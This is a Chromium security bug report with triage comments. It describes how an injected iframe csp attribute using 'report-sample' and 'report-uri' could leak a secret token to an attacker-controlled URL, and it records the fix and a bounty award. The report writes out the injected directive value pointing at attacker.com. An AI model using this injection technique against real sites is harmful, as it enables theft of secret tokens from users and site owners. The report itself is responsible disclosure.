New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 732779 link

Starred by 2 users

Issue metadata

Status: Fixed
Owner:
Last visit > 30 days ago
Closed: Jun 2017
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux , Android , Windows , Chrome , Mac
Pri: 1
Type: Bug-Security



Sign in to add a comment

CSP script-sample and report-uri together with Embedded Enforcement is harmful

Reported by s.h.h.n....@gmail.com, Jun 13 2017

Issue description

UserAgent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36

Steps to reproduce the problem:
1. Go to https://test.shhnjk.com/embenf.html
2. Violation report including secret token is leaked to attacker's URL

What is the expected behavior?
Maybe disallow report-uri or script-sample in iframe's csp attribute?

What went wrong?
Scenario:
https://vuln.shhnjk.com trusts https://test.shhnjk.com. So https://vuln.shhnjk.com/allowcsp.php has "Allow-CSP-From: https://test.shhnjk.com" header set.

Now attacker found HTML injection in https://test.shhnjk.com. So he/she injected iframe with csp attribute "script-src 'sha256-test' 'report-sample'; report-uri https://attacker.com".

Because attacker injected 'report-sample' and 'report-uri', attacker gets secret token in the script of https://vuln.shhnjk.com/allowcsp.php.

Did this work before? N/A 

Chrome version: 61.0.3128.0  Channel: canary
OS Version: OS X 10.12.5
Flash Version: 

Let me know if this is acceptable risk in Embedded Enforcement. Then I'll blog about it.
 
Components: Blink>SecurityFeature
Cc: andypaicu@chromium.org mkwst@chromium.org

Comment 3 by mkwst@chromium.org, Jun 13 2017

Cc: -andypaicu@chromium.org
Components: -Blink>SecurityFeature Blink>SecurityFeature>ContentSecurityPolicy
Owner: andypaicu@chromium.org
We ought to be preventing both `report-uri` and `report-to` from being cascaded down via this mechanism. Andy, can you make sure that happens? I thought we added a check to https://cs.chromium.org/chromium/src/third_party/WebKit/Source/core/frame/csp/ContentSecurityPolicy.cpp?rcl=0a02ecd5e26cd16d87a195f627885abddeeed89b&l=1712, but I don't see it in the code. :)

Comment 4 by mkwst@chromium.org, Jun 13 2017

Labels: ReleaseBlock-Stable Security_Impact-Head Security_Severity-Medium M-61 OS-Android OS-Chrome OS-Linux OS-Windows
Status: Assigned (was: Unconfirmed)
Okay, I wrote Canary but this should be available in Dev-channel too.
https://chromereleases.googleblog.com/2017/06/dev-channel-update-for-desktop_9.html

Hope this is eligible for bounty program.
Project Member

Comment 6 by sheriffbot@chromium.org, Jun 14 2017

Labels: ReleaseBlock-Beta
This issue is a security regression. If you are not able to fix this quickly, please revert the change that introduced it.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 7 by sheriffbot@chromium.org, Jun 14 2017

Labels: -Pri-2 Pri-1
Dear Mike,

May I know where can I see list of directives and values that are restricted in iframe csp attribute?
Labels: -ReleaseBlock-Beta
Status: Fixed (was: Assigned)
Project Member

Comment 11 by sheriffbot@chromium.org, Jun 26 2017

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Labels: reward-topanel
Labels: -reward-topanel reward-unpaid reward-500
Hi s.h.h.n.j.k@ - the VRP panel decided to award $500 for this bug. Thanks!
Labels: -reward-unpaid reward-inprocess
Labels: -ReleaseBlock-Stable
Project Member

Comment 17 by sheriffbot@chromium.org, Oct 2 2017

Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment